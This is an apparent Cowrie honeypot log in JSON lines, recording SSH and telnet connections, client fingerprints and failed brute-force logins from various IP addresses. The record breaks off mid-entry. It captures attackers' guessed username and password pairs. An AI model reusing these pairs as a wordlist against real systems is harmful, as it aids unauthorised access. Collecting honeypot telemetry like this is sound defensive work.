{"eventid":"cowrie.login.failed","username":"test","password":"wasd","message":"login attempt [test/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:11.734181Z","src_ip":"91.92.40.4","session":"5f7c309d322a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:12.817438Z","src_ip":"91.92.40.4","session":"5f7c309d322a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.6.204","src_port":49028,"dst_ip":"159.203.135.109","dst_port":22,"session":"65ad60d7413f","protocol":"ssh","message":"New connection: 97.74.6.204:49028 (159.203.135.109:22) [session: 65ad60d7413f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:19.436626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:19.439539Z","src_ip":"97.74.6.204","session":"65ad60d7413f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:19.503907Z","src_ip":"97.74.6.204","session":"65ad60d7413f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"barry","password":"GBTC#B!tc0!n$M@st3r","message":"login attempt [barry/GBTC#B!tc0!n$M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:19.701606Z","src_ip":"97.74.6.204","session":"65ad60d7413f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:20.769071Z","src_ip":"97.74.6.204","session":"65ad60d7413f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.25.72","src_port":39114,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8ac3328687a","protocol":"ssh","message":"New connection: 154.221.25.72:39114 (159.203.135.109:22) [session: a8ac3328687a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:25.628900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:25.632926Z","src_ip":"154.221.25.72","session":"a8ac3328687a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.806612730026245,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:25.836752Z","src_ip":"222.97.112.179","session":"c0fcec199012","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:25.840486Z","src_ip":"154.221.25.72","session":"a8ac3328687a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.97.112.179","src_port":57932,"dst_ip":"159.203.135.109","dst_port":23,"session":"e720e1ba57a5","protocol":"telnet","message":"New connection: 222.97.112.179:57932 (159.203.135.109:23) [session: e720e1ba57a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:26.035897Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"newmedia","message":"login attempt [root/newmedia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:26.687213Z","src_ip":"154.221.25.72","session":"a8ac3328687a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"\"??$","password":"abcdabcd","message":"login attempt [\"??$/abcdabcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:26.881613Z","src_ip":"222.97.112.179","session":"e720e1ba57a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.249.8","src_port":33596,"dst_ip":"10.17.0.5","dst_port":22,"session":"d62cd6c5b7f0","protocol":"ssh","message":"New connection: 162.144.249.8:33596 (10.17.0.5:22) [session: d62cd6c5b7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:27.598367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:27.602001Z","src_ip":"162.144.249.8","session":"d62cd6c5b7f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:27.629913Z","src_ip":"162.144.249.8","session":"d62cd6c5b7f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"KuC0!n@Tr0ng!","message":"login attempt [root/KuC0!n@Tr0ng!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:27.770446Z","src_ip":"162.144.249.8","session":"d62cd6c5b7f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:27.777651Z","src_ip":"222.97.112.179","session":"e720e1ba57a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:27.898110Z","src_ip":"154.221.25.72","session":"a8ac3328687a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:28.697917Z","src_ip":"222.97.112.179","session":"e720e1ba57a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:28.799133Z","src_ip":"162.144.249.8","session":"d62cd6c5b7f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":54048,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2534d7dfb31","protocol":"ssh","message":"New connection: 159.65.58.200:54048 (159.203.135.109:22) [session: f2534d7dfb31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:45.796584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:46.006815Z","src_ip":"159.65.58.200","session":"f2534d7dfb31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:46.009808Z","src_ip":"159.65.58.200","session":"f2534d7dfb31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"skvitek","password":"123456","message":"login attempt [skvitek/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:47.237095Z","src_ip":"159.65.58.200","session":"f2534d7dfb31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:48.491965Z","src_ip":"159.65.58.200","session":"f2534d7dfb31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.799033403396606,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:34:59.834810Z","src_ip":"222.97.112.179","session":"e720e1ba57a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.97.112.179","src_port":58506,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfefc9cb9278","protocol":"telnet","message":"New connection: 222.97.112.179:58506 (159.203.135.109:23) [session: dfefc9cb9278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:00.030117Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"epicrouter","message":"login attempt [admin/epicrouter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:00.878415Z","src_ip":"222.97.112.179","session":"dfefc9cb9278","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:01.784067Z","src_ip":"222.97.112.179","session":"dfefc9cb9278","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:02.695179Z","src_ip":"222.97.112.179","session":"dfefc9cb9278","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.34.123","src_port":34826,"dst_ip":"10.17.0.5","dst_port":22,"session":"e09c7fb41807","protocol":"ssh","message":"New connection: 162.144.34.123:34826 (10.17.0.5:22) [session: e09c7fb41807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:21.220783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:21.225237Z","src_ip":"162.144.34.123","session":"e09c7fb41807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:21.307675Z","src_ip":"162.144.34.123","session":"e09c7fb41807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bluzelle456","message":"login attempt [root/bluzelle456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:21.558171Z","src_ip":"162.144.34.123","session":"e09c7fb41807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:26.918183Z","src_ip":"162.144.34.123","session":"e09c7fb41807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.80759310722351,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:33.837565Z","src_ip":"222.97.112.179","session":"dfefc9cb9278","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.97.112.179","src_port":59153,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e293cfe17e5","protocol":"telnet","message":"New connection: 222.97.112.179:59153 (159.203.135.109:23) [session: 2e293cfe17e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:34.023862Z"}
{"eventid":"cowrie.login.failed","username":"b'\\xdf\\xda\\xd3\\xd7\\xd0'","password":"b'\\xce\\xdf\\xcd\\xcd\\xc9\\xd1\\xcc\\xda'","message":"login attempt [b'\\xdf\\xda\\xd3\\xd7\\xd0'/b'\\xce\\xdf\\xcd\\xcd\\xc9\\xd1\\xcc\\xda'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:34.860779Z","src_ip":"222.97.112.179","session":"2e293cfe17e5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:35.752707Z","src_ip":"222.97.112.179","session":"2e293cfe17e5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:36.636949Z","src_ip":"222.97.112.179","session":"2e293cfe17e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.35.226","src_port":55302,"dst_ip":"10.17.0.5","dst_port":22,"session":"438ccafb3c78","protocol":"ssh","message":"New connection: 166.62.35.226:55302 (10.17.0.5:22) [session: 438ccafb3c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:42.404341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:42.407637Z","src_ip":"166.62.35.226","session":"438ccafb3c78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:42.472095Z","src_ip":"166.62.35.226","session":"438ccafb3c78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AK@sh$P@ssw0rd","message":"login attempt [root/AK@sh$P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:42.674681Z","src_ip":"166.62.35.226","session":"438ccafb3c78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:43.742990Z","src_ip":"166.62.35.226","session":"438ccafb3c78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.21.248.43","src_port":35332,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ad2bdda46be","protocol":"ssh","message":"New connection: 213.21.248.43:35332 (159.203.135.109:22) [session: 8ad2bdda46be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:51.326509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:51.331076Z","src_ip":"213.21.248.43","session":"8ad2bdda46be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"